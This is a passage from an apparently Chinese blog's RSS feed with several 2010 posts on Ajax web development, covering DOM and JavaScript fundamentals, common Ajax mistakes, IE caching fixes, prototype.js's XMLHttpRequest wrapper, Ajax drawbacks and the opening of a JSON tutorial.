<p>　　严格的说，与传统web开发相比，Ajax是完完全全的客户端技术。由于很多控件封装了客户端和服务器端的通信过程，因此很多问题也因通信而起。事实上，不论何种Ajax技术，服务器端都是返回的一个纯文本流，再由客户端来处理这个文本。这段文本可以是xml格式，也可以是一个Html片段，也可以是一段JavaScript脚本，或者仅是一个字符串。服务器端仅仅是作为一个数据接口，客户端使用XMLHttpRequest对象来请求这个页面，服务器端在页面内写入结果文本，这个过程和普通的web开发没有任何区别。所不同的只是，客户端在异步获取结果后，不是直接显示在页面，而是由客户端的Javascript脚本处理后再显示在页面。至于各种控件所谓的能返回DataSet对象，Date对象，或者其他的数据类型，都是封装了这个处理过程的结果。 </p>
<p>　　观点二：DOM模型是Ajax最本质的技术 </p>
<p>　　之所以没有把XMLHttpRequest列为最本质的技术，因为本人觉得它实在是太简单了，它只是可以让浏览器在后台请求一个页面，并将其内容交给JavaScript处理。真正的核心应该是：DOM模型，即文档对象模型。在DOM模型里，Html标记都被认为是一个对象，例如：div对象，table对象等等。DOM模型就规定了这些对象所具有的属性、方法和事件。通过这些性质，可以对一个已经显示于浏览器的页面进行内容的修改，例如增加节点、修改节点位置，删除节点等等。而不仅仅是一个innerHTML属性这么简单，虽然这是一个很有用的属性。 </p>
<p>　　观点三：在使用Ajax控件前理解它们的实现 </p>
<p>　　使用Ajax控件的确可以提高效率，但如果你空中楼阁般使用控件，那就得不偿失了。从一个控件换到另外一个控件又会有一个漫长的学习曲线。所以应该从底层了解其，况且Ajax实在不是什么高深的技术。其实任何东西的最底层其实都是简单的，但如果封装了这些底层的东西，事情会变得复杂和难以理解。以Asp.net为例，它的定制特性可以使得只要在方法前加上[ajax method]类似这样的标志就可以称为一个异步方法，相信这使得Asp.net的Ajax开发显得更加“高效”或者是“神秘”，而更多的事情则被封装了。同样记住一条，任何对服务器端的请求仅仅是返回纯文本，我们不一定要依赖于封装好的处理过程，而完全可以自己来实现。 </p>
<p>　　观点四：学好JavaScript </p>
<p>　　在大多数人看来，JavaScript总不是那么一种正规的语言，随便copy一段就碰巧能运行，学过c之类的人，一看也能看懂，而且在浏览器中常常有脚本错误提示，所以潜意识觉得总不能付之以大任。事实上，要学好Ajax，这就完全是一种错误的看法。javascript作为一种脚本语言，其语法的确不是很严格，但并不妨碍其完成诸多复杂的任务，没有JavaScript，就没有Ajax。所以本人强烈建议，学Ajax前，一定要好好研究一番JavaScript，一般来讲，如果能顺利看懂prototype框架的代码（如：prototype-1.3.1.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>），你的JavaScript水平就基本过关了。同时对DOM模型也可以算有一个基本的了解。 </p>
<p>　　观点五：Ajax点缀：<a href="http://www.5bay.cn/tag/css" class="st_tag internal_tag" rel="tag" title="标签 css 下的日志">CSS</a> </p>
<p>　　用JavaScript控制CSS其实很简单，基本上每个DOM对象都有一个style对象，只要把css属性里的”-”去掉，并让随后的字母变为大写就可以作为属性使用了，例如：element.style.backgroundColor=”#f00&#8243;;在css是：选择符 {background-color:#f00} </p>
<p>　　一口气说这么多，希望对大家有点用处。 </p>
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		<title>使用Ajax时的十个常犯的错误</title>
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		<pubDate>Sun, 25 Jul 2010 16:49:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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			<content:encoded><![CDATA[<p>上个月我发现许多Web2.0网站大量运用了ajax，但是其中有些很奇怪，因为他们的速度比起前慢了，并且有时候不起作用（在移动设备上），我总结了十条用Ajax的错误（平台无关）</p>
<p>1、 不要通过把整个页面都放在UpdatePanel中更新整个页面。在你运行网页时需要节省时间，不要更新那些可以用javascript and DHTML (DOM)的部分。</p>
<p>2、 要始终记得有这么几种访问者，他们不能用JavaScript或者用的版本比较老的浏览器或者他们对JavaScript支持不好，比如说移动设备。如果这些都不支持，你的访问者能看到什么？</p>
<p>3、 在客户端浏览器缓存相同的请求或者在we服务器端执行缓存。最好的例子是自动完成个下拉菜单，他们的填充在任何时刻都是相同的，一个有错误写法的自动完成的写法可以减慢你的Web服务器（数据库服务器），因为那样会有比起以前用IsPostBack更多地请求。想一下不停的按F5刷新你的网页的情形。如果你有层叠的下拉菜单你就会结算更多地请求。</p>
<p>4、 在你运用CSS或JavaScript时，不要运行，并发的或者运行很长时间的Ajax请求，一般的浏览器只能有两个并发的http连接（我知道可以给变这个，但是默认的还是设为两个）。如果在读取图片的时候由很多Ajax请求的话，速度会变得很慢。</p>
<p>5、 什么时候都用异步调用的方法发送XMLHttpRequest.。如果你要用同步的方法也是没有请问题的，你的浏览器不会因为网络问题或是连接速度慢而冻结的</p>
<p>6、 试着让你的web应用使用一个很慢的网络连接，再尝试用快的TCP/IP连接</p>
<p>7、 你的web应用是作为桌面程序的替代品？你注意观察过一般浏览器在运行你的Web应用一小时，两小时或者几天时内存的使用。不是所有人都有你那样好的机器。</p>
<p>8、 检查在你返回XMLHttpRequest时你的http请求状态代码（status code），那会有一些常见的网络错误像是不可获得的DNS，Http Server error 500 ，你曾经检查过状态代码（status code），它可以告诉你浏览器在一个为连接的模式</p>
<p>9、 试着禁止XMLHttpRequest object！用IE7你能用native object代替ActiveX object，但是你也可以禁止native object。</p>
<p>10、检查你AJAX requests的安全性！你简单的打开了你的数据访问层吗？充分运用FormsAuthentication和PrincipalPermissions。是不是任何人都可以建立一个请求（不只是点击一个链接）？</p>
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		<title>AJAX初学:IE缓存页面的问题</title>
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		<pubDate>Sun, 25 Jul 2010 16:47:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeieeeeeting.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>做一个项目用到Ajax,开始觉得挺好，后来发现一个问题，例如删除一项，恢复之后就不能再接着删除，必须要等一段时间，后来知道是IE缓存的问题。 　　AJAX缓存页面是一个刚接触AJAX的人一定会遇到的问题，造成这个问题的关键性人物又是IE&#8230; 　　在网上找了好多资料后，总结一下 　　1:在AJAX请求的页面后加个随机函数,我们可以使用随机时间函数 　　在javascript发送的URL后加上t=Math.random() ，当然，不是直接把t=Math.random()拷贝到URL后面,应该像这样:URL+”&#038;”+”t=”+Math.random(); 　　2:在XMLHttpRequest发送请求之前加上XMLHttpRequest.setRequestHeader(“If-Modified-Since”,”0&#8243;) 　　一般情况下,这里的XMLHttpRequest不会直接使用，你应该可以找到这样的代码 XXXXX.send(YYYYYY); 　　那么,就把它变成 XXXXX.setRequestHeader(“If-Modified-Since”,”0&#8243;); XXXXX.send(YYYYYY); 　　第二种方法感觉挺好。 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 了解Ajax中的Get和Post (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- 图片轮换类，IE7、OP、FF、Chrome测试通过 (2)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- Webshell下破解计算机管理员密码 [...]]]></description>
			<content:encoded><![CDATA[<p>做一个项目用到Ajax,开始觉得挺好，后来发现一个问题，例如删除一项，恢复之后就不能再接着删除，必须要等一段时间，后来知道是IE缓存的问题。</p>
<p>　　AJAX缓存页面是一个刚接触AJAX的人一定会遇到的问题，造成这个问题的关键性人物又是IE&#8230; </p>
<p>　　在网上找了好多资料后，总结一下 </p>
<p>　　1:在AJAX请求的页面后加个随机函数,我们可以使用随机时间函数 </p>
<p>　　在javascript发送的URL后加上t=Math.random() ，当然，不是直接把t=Math.random()拷贝到URL后面,应该像这样:<a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>+”&#038;”+”t=”+Math.random(); </p>
<p>　　2:在XMLHttpRequest发送请求之前加上XMLHttpRequest.setRequestHeader(“If-Modified-Since”,”0&#8243;) </p>
<p>　　一般情况下,这里的XMLHttpRequest不会直接使用，你应该可以找到这样的代码</p>
<p>XXXXX.send(YYYYYY); </p>
<p>　　那么,就把它变成 </p>
<p>XXXXX.setRequestHeader(“If-Modified-Since”,”0&#8243;);<br />
XXXXX.send(YYYYYY); </p>
<p>　　第二种方法感觉挺好。</p>
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		<title>XMLHTTP对象封装技术</title>
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		<pubDate>Sun, 25 Jul 2010 16:43:39 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/xmlhttpe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。 在prototype.js中，首先定义了一个变量：Ajax var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject(&#8216;Msxml2.XMLHTTP&#8217;)}, function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)}, function() {return new XMLHttpRequest()} ) &#124;&#124; false; }, activeRequestCount: 0 } 变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。 在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。 Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。 setOptions: function(options) { this.options = { method: &#8216;post&#8217;, asynchronous: true, parameters: ” } prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。 但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？ 在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数： container： response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜div＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。 url： [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。</p>
<p>在prototype.js中，首先定义了一个变量：<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">Ajax</a><br />
var Ajax = {<br />
getTransport: function() {<br />
return Try.these(<br />
function() {return new ActiveXObject(&#8216;Msxml2.<a href="http://www.5bay.cn/tag/xmlhttp" class="st_tag internal_tag" rel="tag" title="标签 xmlhttp 下的日志">XMLHTTP</a>&#8217;)},<br />
function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)},<br />
function() {return new XMLHttpRequest()}<br />
) || false;<br />
},</p>
<p>activeRequestCount: 0<br />
}</p>
<p>变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。<br />
<span id="more-470"></span><br />
在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。</p>
<p>Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。<br />
setOptions: function(options) {<br />
this.options = {<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
parameters: ”<br />
}</p>
<p>prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。</p>
<p>但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？</p>
<p>在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数：</p>
<p>container：</p>
<p>response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜div＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。</p>
<p>url：</p>
<p>request请求要传递的目的地。该目的地应该是个servlet或jspservlet，因为request对象只能被servlet中的do***方法自动获取。</p>
<p>options：</p>
<p>结构应该与上面Ajax.Base定义的setOptions（）中的option结构相同，如果为空或不写，则采用 Ajax.Base定义的初始值（没有传递任何参数时使用）。</p>
<p>两者的区别在与Ajax.Updater返回给container的是完整的responseText，只有在responseText完全取得又没发生异常时才会把内容写到container里面，而PeriodicalUpdater在获取responseText时，不管是否已经完整取得，就把内容填进container，直到发生异常或完全取得responseText。大多数情况应该使用第一种方法，因为第一种方法在发生异常时会把异常信息显示在container里面，而第二种就不一定了。</p>
<p>既然已经把xmlhttp封装好了，我们只需要设置好前面所说的3个参数就可以了，要注意的是，设置options参数，一定要按照base中的options结构进行设置，如果我们使用post方法，还可以在opitons中设置postBody属性，把要传递的queryString 放到body中,一个使用post方法进行传递的脚本例子如下：</p>
<p>/*表单提交用post方法*/<br />
function doRequest(container,paraments,url){<br />
var options ={<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
postBody: paraments<br />
};<br />
new Ajax.Updater(container,url,options);<br />
}</p>
<p>最后不得不说的是中文编码问题，prototype对传递的参数都进行了编码转换工作，每个传递值通过encodeURIComponent　进行了处理．编码会被转换成utf－8，在后台获取request时，应该统一使用request.setCharacterEncoding(“UTF-8&#8243;)对request设置编码，而不必管页面的编码格式是什么．如果使用post方法进行传递数据，则会自动执行:</p>
<p>request．setHeader(&#8216;Content-type&#8217;,'application/x-www-form-urlencoded&#8217;).确保传递数据编码格式的正确.</p>
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		<title>ajax的缺点</title>
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		<pubDate>Sun, 25 Jul 2010 16:41:11 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxxuan.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>下面是我对一部分缺陷的看法： 为Ajax而Ajax(Using Ajax for the sake of Ajax.) 很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。 干掉了back按钮(Breaking the back button) back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作…… gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。 点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets) ……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。 阻挡了离线用户于门外(Leaving offline people behind) 看标题就清楚了，不过我持保留意见，web application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子 别让我等(Don’t make me wait) 不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。 显式的传递敏感信息(Sending sensitive information in the clear) 使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。 假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development) 作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？ 忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might [...]]]></description>
			<content:encoded><![CDATA[<p>下面是我对一部分缺陷的看法：</p>
<p>为Ajax而Ajax(Using Ajax for the sake of Ajax.)</p>
<p>很同意这点，当一个技术本身的生存意义由于它自身的亮点而被抹杀，不知道是这个技术的幸运还是不幸。</p>
<p>干掉了back按钮(Breaking the back button)</p>
<p>back按钮是一个标准的web站点UI的重要功能。然后，后退按钮没法和js很好的合作……<br />
gmail似乎作的很好？不过没去仔细看过gmail如何实现后退和js相容的，被这个mistake一提醒，也许这也是ue的一个切口哦。</p>
<p>点击的时候没有提供一个可视化的提示(Not giving immediate visual cues for clicking widgets)</p>
<p>……也许是我没看懂，觉得写这段的人自相矛盾。。他说没提供可视化提示，不过是拿gmail右上角的红色提示作为例子。<span id="more-466"></span></p>
<p>阻挡了离线用户于门外(Leaving offline people behind)</p>
<p>看标题就清楚了，不过我持保留意见，<a href="http://www.5bay.cn/tag/web" class="st_tag internal_tag" rel="tag" title="标签 web 下的日志">web</a> application和离线浏览本身似乎就存在着矛盾，要整合，可能要动很多脑子</p>
<p>别让我等(Don’t make me wait)</p>
<p>不过，ajax本身就存在着如果客户端的带宽不够，它的展示就会一塌糊涂的问题，这是它的先天缺陷，也是它崛起的先天因素－－由于网速和带宽的不断增大，使得服务端与客户端的频繁通信成为可能。</p>
<p>显式的传递敏感信息(Sending sensitive information in the clear)</p>
<p>使用js传递数据，本身似乎就存在着这个风险，在我找到反对意见之前，我倾向认同这点－－https协议除外。</p>
<p>假设ajax发展是一个单平台的发展。(Assuming AJAX development is single platform development)</p>
<p>作者文中的观点是ajax由于必须兼容多个浏览器，而没法做到只需要编码到标准的js就行，还要考虑到各个浏览器的问题……这个是js的问题，和ajax关系不大吧？</p>
<p>忘掉了可能多人在同时使用同一个应用(Forgetting that multiple people might be using the same application at the same time)</p>
<p>嗯，这其实是一个同步的问题，在b/s系统中这是一个麻烦的问题……当然，也许并不麻烦，做一个标记位就解决了吧？</p>
<p>太多代码让浏览器慢下来(Too much code makes the browser slow)</p>
<p>呃……同意这点，虽然在代码优化之后会有很大改善，但js本身运行速度慢这个缺陷还是会成为一个瓶颈。</p>
<p>不计划要那些禁用或者没有js的用户(Not having a plan for those who do not enable or have <a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">JavaScript</a>)</p>
<p>呃……我在页面上用ajax的时候就准备放弃这些用户了，我没google那么闲，作两套系统，一套用ajax，一套纯页面。不过养成一个良好的编码习惯还是有必要，比如在超链接中不要直接设置href=”javascript:&#8230;”而使用onmouseup或者onclick来触发事件，偶尔也为别人考虑考虑嘛，而且我也不能保证我的js程序在所有的浏览器上通吃。</p>
<p>不期然的页面闪烁和改变(Blinking and changing parts of the page unexpectedly)</p>
<p>我没经历过以前网页中blink标签的骚扰，所以我对作者的反感有点摸不着头脑，我觉得在适当的提示之后刷新某块页面总比整个页面的刷新看起来舒服。</p>
<p>没法把超链接发给朋友以及收藏(Not using links I can pass to friends or bookmark)</p>
<p>嘿嘿，这就是我上面提及的那点，如果编码习惯够好－－而且时间够多，在超链接中为非js用户和js用户提供两套方案是可行的。</p>
<p>同步导致的批量操作(Asynchronously performing batch operations)</p>
<p>作者的意思是说ajax一次性把原来要分几次作的操作一次做掉，而导致他没法跟踪每个元素变化，没法回溯，呃……也许是有这种需求吧。。不过似乎也是可以解决的吧？</p>
<p>导致页面滚动并让我迷失位置（Scrolling the page and making me lose my place）</p>
<p>作者认为插入文本到一个页面中会导致页面发生滚动，并让其迷失方向，我没看过这么恶心的效果，没法评价，不过我对于一些ajax的导航作的不好表示不满意，我经常会迷失于一些ajax程序中而不知道我刚才上一步到了哪里……</p>
<p>发明了新的UI习惯（Inventing new UI conventions）</p>
<p>呵呵，作者用了一句话来描述这个缺点：“点击一个不明显的东东来产生一个不明显的结果”。这个归纳倒是满准确的，在很多ajax程序中，用户完全是作为一个瞎子，在抖抖索索的摸着这个ajax程序大象，在到处瞎点一气并瞎拖一气之后才掌握这个程序的用法。但是换个角度来说，最开始的web页面不也是一样？没有开始的困难接触，不会有之后的进步，只要有足够的帮助，上手任何东西都应该不会太难－－除非这东西本来就不想让人觉得好用，那就是其它的问题了。</p>
<p>阻止了爬虫（Blocking Spidering）</p>
<p>同意这点，我在犹豫着使用ajax的时候，就在考虑爬虫对js的不感冒，以及爬虫该如何理解我那些以奇怪方式加载的页面，去解析ajax库似乎是一个不可能的事情，爬虫又不是人脑，如果爬虫可以媲美人脑，那就是《骇客帝国4》了。</p>
<p>字符集（Character Sets）</p>
<p>ajax本身对字符集的支持比较缺失，这个这个……设置成utf-8吧，不过作者最后也是这么说的。</p>
<p>使用超链接改变状态（Changing state with links (GET requests)）</p>
<p>作者认为主流的ajax应用程序都是用get方式来工作，而这违反了W3对GET和POST方法的使用建议……我少见多怪，主流的ajax应用程序我没怎么去看，不知道是不是真的都用get，虽然ajax编码用get简单，但不表示ajax不能用post吧？</p>
<p>没有连带改变页面中其它相关部分（Not cascading local changes to other parts of the page）</p>
<p>因为ajax让人很容易控制页面中的特定部分，所以也容易导致过于关注某个点而失去对整体布局的关注。嗯嗯……这是编码的问题，表怪到ajax头上。</p>
<p>问题报告（Problem reporting）</p>
<p>作者认为服务端的程序错误，很容易再现并捕捉，而客户端的错误要重现就比较麻烦，嗯，支持这点，不过还是和ajax关系不大……</p>
<p>投资回报(Return on Investment)</p>
<p>作者认为ajax能够提升应用程序的可用性，但是富客户端程序并不会比纯html版本好多少……忽略这个观点，来人，把作者拖出去，账责五十</p>
<p>拙劣地模仿浏览器页面跳转行为（Mimicing browser page navigation behavior imperfectly）</p>
<p>……忽略，没看到作者所描述的情况。</p>
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		<pubDate>Sun, 25 Jul 2010 16:39:46 +0000</pubDate>
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		<category><![CDATA[面向对象]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 引言 　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。 　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。 　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。 　　二、 开始 　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件： ＜script type=”text/javascript”src=”javascript/model/Ajax.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞ ＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ ＜script type=”text/javascript”＞ document.load = AjaxUpdater.Update(’GET’， URL， callback); ＜/script＞ 　　首先，让我们来讨论JavaScript对象。 三、 JavaScript对象 　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。 　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。 　　首先，Auto对象被声明为一个新的对象： 　　var Auto = new Object(); 　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码： 　　Auto.Car = new Object(); 　　Auto.Car.color = “#fff”; 　　Auto.Car.setColor = function(_color) 　　{ 　　Auto.Car.color = _color; 　　} 　　Auto.Car.setColor(“#333&#8243;); 　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。 　　下一个对象，Wheel，是Car的一个子对象： [...]]]></description>
			<content:encoded><![CDATA[<p>一、 引言</p>
<p>　　毫无疑问，AJAX已经成为当今Web开发中一种强有力的用户交互技术，但是它的许多可能性应用仍然鲜为人知。在本文中，我们将来共同探讨如何使用JavaScript对象标志(JSON)和JSON分析器在服务器和客户端AJAX引擎之间创建复杂而强有力的JSON数据传输层。我们将详细讨论如何创建一组对象(在其它语言中经常被当作一个包)，如何把这些对象串行化为JSON以发送到服务器端，以及如何把服务器端JSON反串行化为客户端JavaScript对象。</p>
<p>　　提示：你可以在Douglas Crockford的网站上找到本文中使用的JSON分析器。</p>
<p>　　在继续阅读前，本文假定你已经掌握了JavaScript技术并且了解如何创建一个基本的AJAX引擎，并经由AJAX技术向服务器端发出请求和从服务器端接收响应。为了更好地理解本文中示例，你需要下载本文相应的源码文件。<span id="more-464"></span></p>
<p>　　二、 开始</p>
<p>　　为了进一步抽象我们的AJAX请求并有助于我们以后在不同的应用程序间共享AJAX引擎代码，本文使用了一个我自己创建的AJAX引擎。为了使用这个引擎，我们简单地导入三个JavaScript文件并且向一个名为AjaxUpdater的对象发出请求。然后，由该引擎来负责处理其它任务，包括把响应代理到在该请求中指定的回调方法中。下面的示例展示了我们如何使用这个引擎发出请求以及导入相关的文件：</p>
<p>＜script type=”text/javascript”src=”javascript/model/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">Ajax</a>.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞<br />
＜script type=”text/javascript”＞<br />
document.load = AjaxUpdater.Update(’GET’， URL， callback);<br />
＜/script＞ </p>
<p>　　首先，让我们来讨论JavaScript对象。</p>
<p>三、 JavaScript对象 </p>
<p>　　JavaScript以前经常被误解，似乎它主要用于实现客户浏览器端图形效果。其实，JavaScript是一种强有力的语言，特别当它与AJAX以及一个应用程序的服务器端相结合时;但是，即使在客户端，JavaScript也能够实现远比你预料得多的多的功能。面向对象的JavaScript就是一个示例，它能够使我们创建对象，扩展内在对象，甚至能够把我们的对象创建成包以达到更容易的管理之目的。</p>
<p>　　在本文示例中，我们将创建三个对象：Auto，Car和Wheel。其中，每一个都是简单的对象;在此，我们仅使用它们来展示如何创建一个基本包。</p>
<p>　　首先，Auto对象被声明为一个新的对象：</p>
<p>　　var Auto = new Object(); </p>
<p>　　注意，这个Auto对象将用作Car对象的父类。因此，Car对象将成为Auto对象的一个属性，只不过它被分离到另一个文件中以更易于管理(这个概念经常被用于其它面向对象的语言中，但是在JavaScript中却并不经常提起它)。下面是这个Car对象相应的代码：</p>
<p>　　Auto.Car = new Object();<br />
　　Auto.Car.color = “#fff”;<br />
　　Auto.Car.setColor = function(_color)<br />
　　{<br />
　　Auto.Car.color = _color;<br />
　　}<br />
　　Auto.Car.setColor(“#333&#8243;); </p>
<p>　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。</p>
<p>　　下一个对象，Wheel，是Car的一个子对象：</p>
<p>Auto.Car.Wheel = new Object();<br />
Auto.Car.Wheel.color = “#000&#8243;; </p>
<p>　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。</p>
<p>　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。</p>
<p>四、 把JavaScript对象串行化为JSON </p>
